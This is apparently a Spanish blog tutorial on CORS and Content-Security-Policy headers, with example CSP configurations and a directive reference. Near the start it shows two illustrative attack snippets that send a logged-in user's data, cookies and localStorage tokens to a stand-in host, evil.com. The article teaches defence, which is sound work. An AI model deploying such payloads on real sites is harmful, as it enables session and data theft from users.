¿Por qué hablamos de esto?
La web 🌍 mola porque es abierta. Puedes cargar recursos de aquí y de allá, incrustar vídeos de YouTube, fuentes de Google Fonts y hasta meter un widget random de un tercero que promete “hacer tu web más rápida” (spoiler: no).
El problema es que esa misma apertura es también un coladero. 😅
Si cualquiera puede colar código en tu página, ¿qué impide que lo use para robar datos de tus usuarios, inyectar scripts maliciosos o trackear hasta el último click que hacen?
Los navegadores, que no son tontos (bueno… Edge tuvo su época oscura, pero ya se ha reformado 😜), inventaron formas de poner orden en este circo. Y ahí aparecen dos amigos con nombre serio: CORS y CSP
Sin ellos, tu web sería como una casa con las ventanas abiertas: se cuela todo lo que no quieres. 🔥
Veamos primero el problema y por donde te la pueden colar si no tienes bien configurado esto.
🚨 Ataque 1: CORS mal configurado
Si tienes login de usuarios (por ejemplo en una tienda online), tu API —o ciertas peticiones POST, que no hace falta que sea un “API REST de manual”— seguro que devuelven datos sensibles del usuario logueado, como su email o historial de pedidos. Obviamente, porque tu usuario necesita ver esa información en el front, en su cuenta de usuario.
Como configurar CORS siempre da problemas, tú lo pones en plan rápido:Access-Control-Allow-Origin: *
porque “así funciona todo y no me da errores en el frontend” 🙈.
Ahora llega un atacante, que se monta una web en evil.com
y mete este código:
fetch("https://tuweb.com/api/user-data", { credentials: "include" })
.then(r => r.json())
.then(data => {
fetch("https://evil.com/robar", {
method: "POST",
body: JSON.stringify(data)
});
});
Ahora el atacante le manda un enlace a tu usuario (haciéndose pasar por ti), este entra en evil.com
mientras sigue con la sesión abierta en tu tienda… y ¡boom 💥! El navegador, como ve que tu API acepta a cualquiera, hace la petición con sus cookies de sesión válidas y entrega los datos al script de evil.com
.
Resultado: robo de información privada usando las cookies legítimas del usuario.
Un CORS bien configurado evita esto: desde un script en evil.com
no se podrían leer los datos de tuweb.com
. El script ejecuta la petición igual, pero el navegador (si es el navegador, te lo explico más abajo) bloquea el acceso a la respuesta y la trampa falla.
Pero claro, a lo mejor sí te interesa que desde good.com
se puedan hacer peticiones y recuperar datos del usuario, porque es otro servicio tuyo o un servicio legítimo que usas… pues nada, de todo eso va CORS. De decidir quién puede hacer peticiones a tu servidor y quién no.
⚠️ Detalle importante: la petición siempre se hace.
La política de CORS se indica en las cabeceras de respuesta. Es decir:
- El navegador hace la petición.
- El servidor responde.
- Y además de la respuesta, incluye qué orígenes son válidos.
- Si el origen no está en la lista, el navegador bloquea la entrega de los datos al script.
🙋♂️ “Pero entonces, ¿no podrían usar Postman que no hace ni caso al CORS?”
Sí, pero las cookies de tus usuarios no están en Postman. Están en Chrome, Safari, Edge… en el navegador de la víctima, no en el del atacante. Así que no funcionaría.
🙋♂️ “¿Y un espía de red?”
Tampoco lo tienen fácil. Primero, porque necesitarían colar ese espía en el ordenador del usuario o montar un man-in-the-middle (complicado). Y segundo, porque si tu web usa SSL (¿verdad que sí? 😉), el tráfico va cifrado y el sniffer lo vería encriptado. Solo el navegador del usuario tiene la clave para descifrarlo.
🔍 Detalle técnico
Por suerte para la mayoría —porque seamos realistas, casi nadie lo configura salvo que le de guerra—, CORS es restrictivo, y si no se indica nada, el navegador asume que solo se permiten peticiones desde el mismo origen. Que suerte has tenido, eh?
👉 Por eso decimos que CORS es “fail-safe”: si no lo tocas, te protege. El lío viene cuando lo abres demasiado para “que algo funcione”… y entonces ya no tienes CORS, tienes un coladero…
🚨 Ataque 2: CSP mal configurado (o inexistente) — “abre la puerta y pon la alfombra blanca”
Tu web no tiene CSP o lo tiene en “modo chill” (permite inline scripts, cualquier CDN random, etc.). Un atacante encuentra un punto donde inyectar contenido (un parámetro GET, un comentario, un campo de búsqueda que se refleja en la página…). Boom: XSS.
Imagina que el atacante consigue que tu HTML renderice esto (o algo parecido). Por ejemplo te lo deja en una review de un producto y como eres perezoso y no filtras el html…
<script>
// Robar sesión o tokens
fetch("https://evil.com/robar", {
method: "POST",
body: JSON.stringify({
cookies: document.cookie,
ls: localStorage, // si guardas tokens aquí... RIP
html: document.documentElement.innerHTML.slice(0, 1000)
})
});
</script>
Si no tienes CSP o usas algo laxo tipo script-src * 'unsafe-inline'
, el navegador lo ejecuta feliz.
Resultado: robo de cookies (si no son HttpOnly
), de tokens en localStorage
, lectura de páginas privadas, ejecución de acciones con tu sesión (CSRF con esteroides)… una fiesta…
🧯 Cómo te salva un CSP decente
Un CSP bien puesto dice: “aquí solo corre JS firmado por mí; nada de inline, nada que no tenga nonce o hash”. El navegador ve el <script>
inyectado y lo bloquea: no nonce, no party.
🔍 Detalles técnicos
La configuración de CSP va en las cabeceras devueltas por tu servidor cuando devuelves el HTML y se pueden indicar restricciones para muchas acciones, como por ejemplo limitar a dónde se puede enviar formulario, desde donde se puede cargar CSS o JS, a donde puede conectarse la web, etc.
Para protegernos del ejemplo anterior podríamos incluir la siguiente cabecera en la respuesta HTML.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123';
connect-src 'self' https://api.tu-servicio-legitimo.com;
form-action 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
En este caso, como solo permitimos conectarnos a nuestro propio dominio (self
) o a un api legítimo, con lo que la petición a evil.com
sería bloqueada y no se ejecutaría.
Hay muchas configuraciones de CSP, pero más abajo te dejo aquí las más habituales.
🧪 Truco para no romper producción => Modo “Report only”
Antes de ponerte agresivo, prueba a configurar CSP en modo informe:
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123' 'strict-dynamic';
report-uri https://tus-logs.com/csp;
report-to csp-endpoint;
Verás qué romperías con tu configuración, ajustas, y cuando esté todo en verde pasas la cabecera a modo enforcement (sin -Report-Only
).
❌ Configs que huelen a problema
script-src *
→ cualquiera te cuela JS.'unsafe-inline'
enscript-src
→ inline y XSS entran como Pedro por su casa.- Permitir
data:
oblob:
enscript-src
→ no (pueden empaquetar JS malicioso). - Cargar 20 CDNs sin SRI ni nonce
📑 Directivas CSP más usadas (y para qué sirven)
🔹 default-src
- Valor por defecto si no se especifica otra directiva más concreta.
- Ejemplo:
default-src 'self';
→ solo carga recursos del mismo dominio, salvo que otra regla diga lo contrario.
🔹 script-src
- Define de dónde se pueden cargar scripts JavaScript.
- Ejemplo:
script-src 'self' https://cdn.jsdelivr.net;
→ permite JS de tu dominio y de jsDelivr. - Extras:
'nonce-xxxx'
→ para autorizar solo scripts con ese nonce.'sha256-…'
→ hash del contenido del script autorizado.'unsafe-inline'
→ permite inline JS (⚠️ inseguro).
🔹 style-src
- Controla CSS (archivos externos e inline
<style>
). - Ejemplo:
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
→ CSS local + inline + de Google Fonts.
🔹 img-src
- Define de dónde se pueden cargar imágenes.
- Ejemplo:
img-src 'self' data:;
→ solo de tu dominio +data:
(para iconos embebidos).
🔹 font-src
- Controla de dónde se pueden cargar fuentes (
@font-face
). - Ejemplo:
font-src 'self' https://fonts.gstatic.com;
🔹 connect-src
- Restringe conexiones activas:
fetch
,XMLHttpRequest
,WebSocket
,EventSource
. - Ejemplo:
connect-src 'self' https://api.miapp.com;
→ tus scripts solo pueden hacer peticiones a tu API.
🔹 form-action
- Define a qué orígenes se les permite ser destino de formularios (
<form action="...">
). - Ejemplo:
form-action 'self';
→ impide que alguien inyecte un<form>
que postee aevil.com
.
🔹 frame-ancestors
- Controla qué orígenes pueden incrustar tu página en un
<iframe>
. - Ejemplo:
frame-ancestors 'none';
→ protege contra clickjacking.
🔹 object-src
- Permite/deniega plugins antiguos tipo Flash, Silverlight, etc.
- Ejemplo:
object-src 'none';
→ casi siemprenone
.
🔹 base-uri
- Restringe la URL que puede usarse en
<base href="...">
. - Ejemplo:
base-uri 'self';
→ evita que scripts cambien el contexto de URLs relativas.
🔹 media-src
- Orígenes válidos para audio y vídeo (
<audio>
,<video>
). - Ejemplo:
media-src 'self' https://cdn.miapp.com;
🔹 frame-src
- Orígenes de los iframes que tú insertas.
- Ejemplo:
frame-src https://www.youtube.com;
→ permite incrustar vídeos de YouTube.
🔹 worker-src
- Dónde se pueden cargar Web Workers / Service Workers.
- Ejemplo:
worker-src 'self';
🔹 manifest-src
- Orígenes de donde se puede cargar el Web App Manifest.
- Ejemplo:
manifest-src 'self';
Hey! Qué opinas sobre el artículo?